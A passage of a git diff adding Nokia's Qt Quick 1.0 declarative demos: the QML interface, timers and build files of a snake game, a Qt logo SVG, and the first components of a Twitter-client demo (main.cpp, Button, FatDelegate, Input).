+ var column = rand(numColumns);
+ var row = rand(numRows);
+ while (!isFree(row, column)) {
+ column++;
+ if (column == numColumns) {
+ column = 0;
+ row++;
+ if (row == numRows)
+ row = 0;
+ }
+ }
+
+ if(cookieComponent.status != Component.Ready) {
+ if(cookieComponent.status == Component.Error)
+ console.log(cookieComponent.errorString());
+ else
+ console.log("Still loading cookieComponent");
+ return;//TODO: Better error handling?
+ }
+ cookie = cookieComponent.createObject(head.parent);
+ cookie.value = value;
+ cookie.row = row;
+ cookie.column = column;
+}
diff --git a/demos/declarative/snake/qml/snake/snake.qml b/demos/declarative/snake/qml/snake/snake.qml
new file mode 100644
index 00000000..54e947f9
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/snake.qml
@@ -0,0 +1,272 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content" as Content
+import "content/snake.js" as Logic
+
+Rectangle {
+ id: screen;
+ SystemPalette { id: activePalette }
+ color: activePalette.window
+ property bool activeGame: false
+
+ property int gridSize : 34
+ property int margin: 4
+ property int numRowsAvailable: Math.floor((height-32-2*margin)/gridSize)
+ property int numColumnsAvailable: Math.floor((width-2*margin)/gridSize)
+
+ property int lastScore : 0
+
+ property int score: 0;
+ property int heartbeatInterval: 200
+ property int halfbeatInterval: 160
+
+ width: 480
+ height: 750
+
+ property int direction
+ property int headDirection
+
+ property variant head;
+
+ Content.HighScoreModel {
+ id: highScores
+ game: "Snake"
+ }
+
+ Timer {
+ id: heartbeat;
+ interval: heartbeatInterval;
+ running: activeGame && runtime.isActiveWindow
+ repeat: true
+ onTriggered: { Logic.move() }
+ }
+ Timer {
+ id: halfbeat;
+ interval: halfbeatInterval;
+ repeat: true
+ running: heartbeat.running
+ onTriggered: { Logic.moveSkull() }
+ }
+ Timer {
+ id: startNewGameTimer;
+ interval: 700;
+ onTriggered: { Logic.startNewGame(); }
+ }
+
+ Timer {
+ id: startHeartbeatTimer;
+ interval: 1000 ;
+ onTriggered: { state = "running"; activeGame = true; }
+ }
+
+ Image{
+ id: pauseDialog
+ z: 1
+ source: "content/pics/pause.png"
+ anchors.centerIn: parent;
+ //opacity is deliberately not animated
+ opacity: activeGame && !Qt.application.active
+ }
+
+ Image {
+
+ Image {
+ id: title
+ source: "content/pics/snake.jpg"
+ fillMode: Image.PreserveAspectCrop
+ anchors.fill: parent
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+
+ Column {
+ spacing: 140
+ anchors.verticalCenter: parent.verticalCenter;
+ anchors.left: parent.left;
+ anchors.right: parent.right;
+
+ Text {
+ color: "white"
+ font.pointSize: 48
+ font.italic: true;
+ font.bold: true;
+ text: "Snake"
+ anchors.horizontalCenter: parent.horizontalCenter;
+ }
+
+ Text {
+ color: "white"
+ font.pointSize: 24
+ anchors.horizontalCenter: parent.horizontalCenter;
+ //horizontalAlignment: Text.AlignHCenter
+ text: "Last Score:\t" + lastScore + "\nHighscore:\t" + highScores.topScore;
+ }
+ }
+ }
+
+ source: "content/pics/background.png"
+ fillMode: Image.PreserveAspectCrop
+
+ anchors.left: parent.left
+ anchors.right: parent.right
+ anchors.top: parent.top
+ anchors.bottom: toolbar.top
+
+ Rectangle {
+ id: playfield
+ border.width: 1
+ border.color: "white"
+ color: "transparent"
+ anchors.horizontalCenter: parent.horizontalCenter
+ y: (screen.height - 32 - height)/2;
+ width: numColumnsAvailable * gridSize + 2*margin
+ height: numRowsAvailable * gridSize + 2*margin
+
+
+ Content.Skull {
+ id: skull
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: {
+ if (screen.state == "") {
+ Logic.startNewGame();
+ return;
+ }
+ if (direction == 0 || direction == 2)
+ Logic.scheduleDirection((mouseX > (head.x + head.width/2)) ? 1 : 3);
+ else
+ Logic.scheduleDirection((mouseY > (head.y + head.height/2)) ? 2 : 0);
+ }
+ }
+ }
+
+ }
+
+ Rectangle {
+ id: progressBar
+ opacity: 0
+ Behavior on opacity { NumberAnimation { duration: 200 } }
+ color: "transparent"
+ border.width: 2
+ border.color: "#221edd"
+ x: 50
+ y: 50
+ width: 200
+ height: 30
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.verticalCenterOffset: 40
+
+ Rectangle {
+ id: progressIndicator
+ color: "#221edd";
+ width: 0;
+ height: 30;
+ }
+ }
+
+ Rectangle {
+ id: toolbar
+ color: activePalette.window
+ height: 32; width: parent.width
+ anchors.bottom: screen.bottom
+
+ Content.Button {
+ id: btnA; text: "New Game"; onClicked: Logic.startNewGame();
+ anchors.left: parent.left; anchors.leftMargin: 3
+ anchors.verticalCenter: parent.verticalCenter
+ }
+
+ Content.Button {
+ text: "Quit"
+ anchors { left: btnA.right; leftMargin: 3; verticalCenter: parent.verticalCenter }
+ onClicked: Qt.quit();
+ }
+
+ Text {
+ color: activePalette.text
+ text: "Score: " + score; font.bold: true
+ anchors.right: parent.right; anchors.rightMargin: 3
+ anchors.verticalCenter: parent.verticalCenter
+ }
+ }
+
+ focus: true
+ Keys.onSpacePressed: Logic.startNewGame();
+ Keys.onLeftPressed: if (state == "starting" || direction != 1) Logic.scheduleDirection(3);
+ Keys.onRightPressed: if (state == "starting" || direction != 3) Logic.scheduleDirection(1);
+ Keys.onUpPressed: if (state == "starting" || direction != 2) Logic.scheduleDirection(0);
+ Keys.onDownPressed: if (state == "starting" || direction != 0) Logic.scheduleDirection(2);
+
+ states: [
+ State {
+ name: "starting"
+ PropertyChanges {target: progressIndicator; width: 200}
+ PropertyChanges {target: title; opacity: 0}
+ PropertyChanges {target: progressBar; opacity: 1}
+ },
+ State {
+ name: "running"
+ PropertyChanges {target: progressIndicator; width: 200}
+ PropertyChanges {target: title; opacity: 0}
+ PropertyChanges {target: skull; row: 0; column: 0; }
+ PropertyChanges {target: skull; spawned: 1}
+ }
+ ]
+
+ transitions: [
+ Transition {
+ from: "*"
+ to: "starting"
+ NumberAnimation { target: progressIndicator; property: "width"; duration: 1000 }
+ NumberAnimation { property: "opacity"; duration: 200 }
+ },
+ Transition {
+ to: "starting"
+ NumberAnimation { target: progressIndicator; property: "width"; duration: 1000 }
+ NumberAnimation { property: "opacity"; duration: 200 }
+ }
+ ]
+
+}
diff --git a/demos/declarative/snake/snake.desktop b/demos/declarative/snake/snake.desktop
new file mode 100644
index 00000000..fef60907
--- /dev/null
+++ b/demos/declarative/snake/snake.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=snake
+Exec=/opt/snake/bin/snake
+Icon=snake64
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/snake/snake.pro b/demos/declarative/snake/snake.pro
new file mode 100644
index 00000000..d9b77189
--- /dev/null
+++ b/demos/declarative/snake/snake.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/snake
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE619B930
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_DEMOS]/declarative/snake
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/demos/declarative/snake/snake.qmlproject b/demos/declarative/snake/snake.qmlproject
new file mode 100644
index 00000000..431d2a9e
--- /dev/null
+++ b/demos/declarative/snake/snake.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/snake"
+ }
+ JavaScriptFiles {
+ directory: "qml/snake"
+ }
+ ImageFiles {
+ directory: "qml/snake"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/demos/declarative/snake/snake.svg b/demos/declarative/snake/snake.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/demos/declarative/snake/snake.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/demos/declarative/snake/snake64.png b/demos/declarative/snake/snake64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/demos/declarative/snake/snake64.png
Binary files differ
diff --git a/demos/declarative/snake/snake80.png b/demos/declarative/snake/snake80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/demos/declarative/snake/snake80.png
Binary files differ
diff --git a/demos/declarative/snake/snake_harmattan.desktop b/demos/declarative/snake/snake_harmattan.desktop
new file mode 100644
index 00000000..10b0f792
--- /dev/null
+++ b/demos/declarative/snake/snake_harmattan.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=snake
+Exec=/usr/bin/single-instance /opt/snake/bin/snake
+Icon=/usr/share/icons/hicolor/80x80/apps/snake80.png
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/twitter/main.cpp b/demos/declarative/twitter/main.cpp
new file mode 100644
index 00000000..0599f316
--- /dev/null
+++ b/demos/declarative/twitter/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/twitter/twitter.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/Button.qml b/demos/declarative/twitter/qml/twitter/TwitterCore/Button.qml
new file mode 100644
index 00000000..75ea7a65
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/Button.qml
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ signal clicked
+
+ property string text
+ property bool keyUsing: false
+
+ BorderImage {
+ id: buttonImage
+ source: "images/toolbutton.sci"
+ width: container.width; height: container.height
+ }
+ BorderImage {
+ id: pressed
+ opacity: 0
+ source: "images/toolbutton.sci"
+ width: container.width; height: container.height
+ }
+ MouseArea {
+ id: mouseRegion
+ anchors.fill: buttonImage
+ onClicked: { container.clicked(); }
+ }
+ Text {
+ id: btnText
+ color: if(container.keyUsing){"#D0D0D0";} else {"#FFFFFF";}
+ anchors.centerIn: buttonImage; font.bold: true
+ text: container.text; style: Text.Raised; styleColor: "black"
+ font.pixelSize: 12
+ }
+ states: [
+ State {
+ name: "Pressed"
+ when: mouseRegion.pressed == true
+ PropertyChanges { target: pressed; opacity: 1 }
+ },
+ State {
+ name: "Focused"
+ when: container.activeFocus == true
+ PropertyChanges { target: btnText; color: "#FFFFFF" }
+ }
+ ]
+ transitions: Transition {
+ ColorAnimation { target: btnText; }
+ }
+}
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/FatDelegate.qml b/demos/declarative/twitter/qml/twitter/TwitterCore/FatDelegate.qml
new file mode 100644
index 00000000..2965493e
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/FatDelegate.qml
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Component {
+ id: listDelegate
+ Item {
+ id: wrapper; width: wrapper.ListView.view.width; height: if(txt.height > 60){txt.height+10}else{60} //50+5+5
+ function handleLink(link){
+ if(link.slice(0,3) == 'app'){
+ screen.setUser(link.slice(7));
+ }else if(link.slice(0,4) == 'http'){
+ Qt.openUrlExternally(link);
+ }
+ }
+ function addTags(str){
+ var ret = str.replace(/@[a-zA-Z0-9_]+/g, '<a href="app://$&">$&</a>');//click to jump to user?
+ var ret2 = ret.replace(/http:\/\/[^ \n\t]+/g, '<a href="$&">$&</a>');//surrounds http links with html link tags
+ return ret2;
+ }
+
+ // Strip away paranthesis
+ function userName(str) {
+ var user = str.replace(/\([\S|\s]*\)/gi, "");
+ return user.trim();
+ }
+
+ Item {
+ id: moveMe; height: parent.height
+ Rectangle {
+ id: blackRect
+ color: "black"; opacity: wrapper.ListView.index % 2 ? 0.2 : 0.3; height: wrapper.height-2; width: wrapper.width; y: 1
+ }
+ Item {
+ id: image; x: 6; width: 48; height: 48; smooth: true
+ anchors.verticalCenter: parent.verticalCenter
+
+ Loading { x: 1; y: 1; width: 48; height: 48; visible: realImage.status != Image.Ready }
+ Image {
+ id: realImage;
+ source: userImage; x: 1; y: 1;
+ width:48; height:48; opacity:0 ;
+ onStatusChanged: {
+ if(status==Image.Ready)
+ image.state="loaded"
+ }
+ }
+ states: State {
+ name: "loaded";
+ PropertyChanges { target: realImage ; opacity:1 }
+ }
+ transitions: Transition { NumberAnimation { target: realImage; property: "opacity"; duration: 200 } }
+
+ }
+ Text { id:txt; y:4; x: 56
+ text: '<html><style type="text/css">a:link {color:"#aaccaa"}; a:visited {color:"#336633"}</style>'
+ + '<a href="app://@'+userName(name)+'"><b>'+userName(name) + "</b></a> from " +source
+ + "<br /><b>" + statusText + "</b></html>";
+ textFormat: Qt.RichText
+ color: "#cccccc"; style: Text.Raised; styleColor: "black"; wrapMode: Text.WordWrap
+ anchors.left: image.right; anchors.right: blackRect.right; anchors.leftMargin: 6; anchors.rightMargin: 6
+ onLinkActivated: wrapper.handleLink(link)
+ }
+ }
+ }
+}
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/Input.qml b/demos/declarative/twitter/qml/twitter/TwitterCore/Input.qml
new file mode 100644
index 00000000..4eb0dfc1
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/Input.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
